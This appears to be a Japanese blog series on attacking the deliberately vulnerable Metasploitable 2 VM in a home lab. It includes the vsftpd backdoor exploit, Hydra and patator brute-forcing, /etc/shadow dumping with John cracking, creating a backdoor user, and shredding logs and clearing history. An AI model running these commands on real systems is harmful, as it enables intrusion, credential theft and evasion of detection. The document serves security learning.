Metasploitable のログ消去

Metasploitable のログ消去

ログの消去、改ざんにより
アタックの隠蔽、追跡逃れの可能性があがる

Linux の場合
ログファイルは
/var/log ディレクトリに格納されていることが多い

/var/log/btmp
ログイン失敗の記録
lastb コマンド で閲覧

/var/log/wtmp
ログイン成功の記録
last コマンドで閲覧

/var/log/lastlog
ユーザの最終ログインの記録
lastlog コマンドで閲覧

/var/faillog
ユーザのログイン失敗回数の記録
faillog コマンドで閲覧

/var/log/tallylog
ユーザのログイン失敗回数の記録
pam_tally2 コマンドで閲覧

これらのログファイルはバイナリファイルなので
内容の閲覧には専用コマンドを使う

ログ消しのために
rm コマンドを使ってもデータが見えなくなるだけで存在する

これは rm コマンドの場合
ファイルの iノードを指すリンクは削除されるけど
i ノードそのものは残っている
ショートカットを消したようなものでアンインストールしていないようなかんじ

完全に削除するには
shred コマンドを使い
3回ランダム情報を書き込み
最後にゼロで上書きしてからファイルを削除する

オプションなどについては
shred – ファイルを完全に削除 – Linuxコマンド

を参考に

sherd -n 3 -zu /var/log/messages

とすれば
-n 3 によりランダム情報を3回書き込み
-z で最後にゼロで上書き
-u で shred 終了後にファイルを削除
となる

ファイルの中身のみ削除するなら

> /var/log/messages

というようにリダイレクトを使う
これでファイルは残るが中身はなくなる

次にコマンド履歴の削除

↑キーを押すとコマンド履歴を出せる

KaliLinux の場合
bash は最新1000のコマンドを記録している

metasploitable の場合を調べるのなら

ssh msfadmin@192.168.1.137

で一度ログインし

echo $HISTSIZE

で調べると 500 であることがわかる

$HISTSIZE で設定されているので

export HISTSIZE=0

とすることで履歴が残らないように設定

> ~/.bash_history 

とすれば履歴の消去ができる

Metasploitable への各種攻撃 その3

Metasploitable への各種攻撃 その3

KaliLinux で Firefox で
http://MetasploitableのIPアドレス:8180/

にアクセスすると Tomcat の画面がでる

ここで Tomcat Administration をクリックすると
認証画面になる

次に Wireshark を起動
ctrl + alt + t で端末をひらき

wireshark 

で起動

wireshark について知りたいのなら
Wiresharkで特定の通信セッションだけを抽出して表示する

を参考に

ctrl + k で
Options 画面がでるので
eth0 の Promiscous にチェックがはいっているのを確認し
Start をクリック

これでキャプチャ開始されるので
Tomcat の認証画面でわざと失敗するように
適当なIDとパスワードで入力
UserName hoge
Password 1234

次にHTTP要求の内容を調べたいので
http に絞り込み

右クリック > Follow > HttpStream
とすると
どのような認証をしているか調べることができる

Host の部分が対象IP
Host: 192.168.1.137:8180

認証ページ
/admin/j_security_check

データ送信方式が
POST

これは
POST /admin/j_security_check;jsessionid=8FBD198A5C0437C8C8C6FF63471D9038
からわかる

j_username=hoge&j_password=1234HTTP/1.1 200 OK
より
ユーザ名変数が
j_username

パスワード変数が
j_password
となっている

Hydra でHTTP認証の検証をするには
認証失敗時のメッセージを指定する

認証失敗したときには Firefox で
Invalid username or password
To try again, click here
と表示される

このため Hydra でInvalid を指定して実行

http-post-form の書式は
認証ページのパス:送信パラメータ:認証失敗時に表示される文字列

となる

今回なら
認証ページのパスが
/admin/j_security_check

送信パラメータが
j_username=^USER^&j_password=^PASS^

認証失敗の文字列が
Invalid username or password
となる

なおユーザリストを

cat >  user.list 

で作成

内容を

root
sys
msfadmin
admin
user
service
postgres
tomcat

としておく

同様にパスワードリストも

cat > pass.list

で作成

user
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat

としておく
最後は空白なのはパスワードなしのときもあるため

hydra のコマンド実行時に-s オプションでポート指定しないと
80番ポートになるので注意

hydra -L user.list -P pass.list -s 8180 192.168.1.137 http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password"

を実行すると
実行結果から
login tomcat
password tomcat
となっているのがわかる

これで再度認証画面で
このアカウントでログインすると
管理画面にログインできることが確認できる

Metasploitable への各種攻撃 その2

Metasploitable への各種攻撃 その2

引き続き Metasploitable への実験

辞書攻撃でFTPアカウント解析

まずユーザリストの作成

cat > user.list

で入力モードになるので

root
sys
msfadmin
admin
user
service
postgres

を入力し
ctrl + c で終了

次にパスワードリストの作成

cat > pass.list

おなじく入力モードになるので

user
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat

なお、最後は空行にしている
これはパスワードを設定していないことがあるため
ctrl + c で終了

次にオンラインパスワードクラッカー Hydra を使う

英語でもOKなら
Hydra Package Description

thc-hydra を使ってブルートフォース攻撃をしてみる

も参考に

-L オプションでユーザリスト
-P オプションでパスワードリストを指定する

-t オプションで並列処理のタスク数を指定
デフォルトは16

コマンドは

hydra -L user.list -P pass.list -t 8 192.168.1.137 ftp

というように

hydra -L ユーザリスト -P パスワードリスト -t タスク数 対象IP プロトコル

となる

次にSSHアカウントの解析
SSHは並列処理タスク数が多いと警告がでるので4にする

hydra -L user.list -P pass.list -t 4 192.168.1.137 ssh

またSSHのポートが変更されていることもあるので

hydra -L user.list -P pass.list -t 4 ssh://192.168.1.137:22

というような書き方もある

書式は
サービス名://IPアドレス:ポート番号

環境によってはSSHが無効化されていて解析できないことがあるので
patator を使う

使い方は
patator – Patatorは多目的なブルートフォーザであり、モジュラーデザインと柔軟な使い方があります

【セキュリティ】脆弱性診断・検査 ツール on Kali Linux

patator Package Description

を参考に

patator は解析する認証ごとにモジュールがあり
ssh なら
ssh_login を使う

host=IPアドレスまたはターゲットリストファイル
user=対象ユーザまたはユーザリスト
password=パスワードまたはパスワードリスト

認証失敗したときに
Authentication failed.
とでてくるが大量にでて見難いのでログのフィルタリングをする
-x オプションをつけることで動作指定ができるので
-x ignore:mesg=’Authentication failed.’
をつけておく

これで認証成功のときだけ表示される

コマンドは

patator ssh_login host=192.168.1.137 user=FILE0 password=FILE1 0=user.list 1=pass.list -x ignore:mesg='Authentication failed.'

次にTCPバックドアの利用

Metasploitable に

nmap -sV -O -p- 192.168.1.137

結果で

1524/tcp  open  bindshell   Metasploitable root shell

があり
すでにバックドアが作られている

サービスの確認を

nmap -p1524 192.168.1.137

で行うと

Nmap scan report for 192.168.1.137
Host is up (0.00037s latency).

PORT     STATE SERVICE
1524/tcp open  ingreslock
MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds

となり
ingreslock サービス名になっている

これに接続するには

nc 192.168.1.137 1524

というように
nc コマンドを使う

nc IPアドレス ポート番号
で接続

id コマンドを実行すると

uid=0(root) gid=0(root) groups=0(root)

となり
root 権限シェルであることがわかる

id コマンドについては
【 id 】コマンド――ユーザーの識別情報を表示する

を参考に

このように誰かにバックドアを設置されると
設置者以外も簡単にログインしてくるようになる

次に
/etc/shadow から
root
msfadmin
の行だけ抽出

cat /etc/shadow | grep -E "^root|^msfadmin"

結果をコピーして
KaliLinux で
passwords ファイルを作成し貼り付け

内容は

root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

次にこれを John the Ripper でパスワード解析
まずは総当り攻撃で解析

john --incremental passwords

あとは スペースキーを押すと途中経過が表示される

途中でctrl +c で中断しても
レジューム機能で再実行すれば解析途中からスタートできる

john --restore

でレジュームできる

Metasploitable への各種攻撃 その1

Metasploitable への各種攻撃

nmap でポートスキャン

nmap には様々なオプションがあり
概要やオプションに関しては
Nampスキャンの全コマンド・オプションを日本語解説|ネットワークのセキュリティーはNmapで抑えよう

を参考に

ポートスキャンせず Ping スキャンするなら
-sP や -sn オプションを使う
純粋に Ping スキャンするなら
-sn にしないと他に飛ばしているパケットの説明を求められる

これは-sP だとIMCPだけでなく
80,443 ポートにもおくるため

実験するならMetasploitable のIPを

ifconfig

で調べて

KaliLinux から

nmap -sn 192.168.1.137

とすればOK

Metasploitable でキャプチャになっているときには
右ctrl キーをおせば抜けられる

次にMetasploitable の開いているポート、サービスバージョン
OSの種類を調べる

-p-
全ポートのスキャン
ただし0番ポートと9100 は除く

-sV
サービスとバージョンの特定

-O
OSの特定
ただしバージョンまでは特定しない

これを Metasploitable に実行

nmap -sV -O -p- 192.168.1.137

結果は

Nmap scan report for 192.168.1.137
Host is up (0.00039s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login
514/tcp   open  shell?
1099/tcp  open  rmiregistry GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
34001/tcp open  status      1 (RPC #100024)
38465/tcp open  mountd      1-3 (RPC #100005)
43648/tcp open  nlockmgr    1-4 (RPC #100021)
53119/tcp open  rmiregistry GNU Classpath grmiregistry
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port514-TCP:V=7.70%I=7%D=2/8%Time=5E3DD53C%P=x86_64-pc-linux-gnu%r(NULL
SF:,2B,"\x01Couldn't\x20get\x20address\x20for\x20your\x20host\x20\(kali\)\
SF:n");
MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.06 seconds

となった

この中で攻撃に使われそうなのは

21/tcp    open  ftp         vsftpd 2.3.4
1524/tcp  open  bindshell   Metasploitable root shell
5900/tcp  open  vnc         VNC (protocol 3.3)

まず vsftp2.3.4 向け Exploit を探す
CVE Details

Exploit Database

などで調べることもできる

他にも
セキュリティエンジニア向けマテリアル

なども参考に

今回は Exploit Database で
検索

これによるとリモートからコマンド実行できるバックドアがあるとのこと

🙂 を含むユーザ名でFTPへログインすると
6200ポートにバックドアが開く

この状態で 6200 ポートにアクセスすることで
vsftpd の実行権限で任意のコマンドが実行できる

nc 192.168.1.137 21

というように
nc コマンドで Metasploitable のIPアドレス ポート番号
でアクセス

USER 任意のユーザ名

ユーザ名の最後に 🙂 をつける

PASS 任意のパスワード

とするとポートが開く

この状態で
別端末を
ctrl + alt + t で開き

nc -nv 192.168.1.137 6200

で接続

nc コマンドとオプションについては
使いたいときに必ず忘れる便利なコマンド「nc」

を参考に

これで
whoami コマンドで確認すると
root ユーザになっているのがわかる

whoami コマンドについては
【 whoami 】コマンド/【 groups 】コマンド――自分の名前と所属するグループを表示する

を参考に

また exploit のvsftpd_234_backdoor.rbのコードが
https://www.exploit-db.com/exploits/17491
にあり

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")

でランダムなユーザ名のあとに 🙂 を

sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

でパスワードの指定
としている

nsock = self.connect(false, {'RPORT' => 6200}) rescue nil

で6200ポートに接続できるか確認

実際に Metasploitable へ攻撃をするには

msfconsole 
use exploit/unix/ftp/vsftpd_234_backdoor 
set rhost 192.168.1.137
exploit

で実行

なお
192.168.1.137 の部分は
Metasploitable のIPアドレス

プロンプトが帰ってこないけど
コマンドの実行はできる

whoami

とすると root であることがわかる

これで

useradd -m newuser -G sudo -s /bin/bash; passwd newuser

とするとバックドア用ユーザが作成でき

Enter new UNIX password:
となったら任意のパスワードをいれ

Retype new UNIX password:
となるので同じパスワードを入力する

このシェルから抜けるには

exit

を実行すればOK

msfコンソールからも抜けるのなら

exit

を再度実行すればOK

これで Metasploitable でログインするときに
newuser でのログインが可能になる

次にDBへのアクセス
Metasploitable のポート3306 が 開いているので
mysql での接続ができる
なおデフォルトでは root パスワードが設定されていないため

mysql -h 192.168.1.137 -u root

で簡単にログインできる

show databases

でDB一覧がみれる

+--------------------+
| Database           |
+--------------------+
| information_schema |
| dvwa               |
| metasploit         |
| mysql              |
| owasp10            |
| tikiwiki           |
| tikiwiki195        |
+--------------------+

パスワードの状態を確認するには
[mysql]
use mysql;
select user,password from user;
[/sql]
を実行

結果として

+------------------+----------+
| user             | password |
+------------------+----------+
| debian-sys-maint |          |
| root             |          |
| guest            |          |
+------------------+----------+

となっているのがわかる

Metasploitable 仮想マシン構築

Metasploitable 仮想マシン構築

Metasploitable は脆弱性が存在する状態で構築された Linux

https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
よりダウンロード可能

次にこのファイルを展開

cd ダウンロード/
unzip metasploitable-linux-2.0.0.zip 

VirtualBox を起動し
新規をクリック

名前は任意でOKなので
今回はMetasploitable2

タイプを Linux
ばーじょんを Ubuntu(64-bit)
にして次へをクリック

メモリサイズはそのままでOKなので
次へをクリック

ハードディスクでは
すでにある仮想ハードディスクファイルを使用するにして

Metasplitable.vmdk を選ぶ

これで仮想マシンが作成される

次にネットワークを設定したいので
設定をクリック

ネットワークを
NATからブリッジアダプターに変更

これで起動

デフォルトのログインユーザ名はmsfadmin
パスワードは msfadmin
となっている

なお初期状態では英語キーボードなので

sudo loadkeys jp

とすることで日本語キーボードになる

ただし、再起動すると戻っているので注意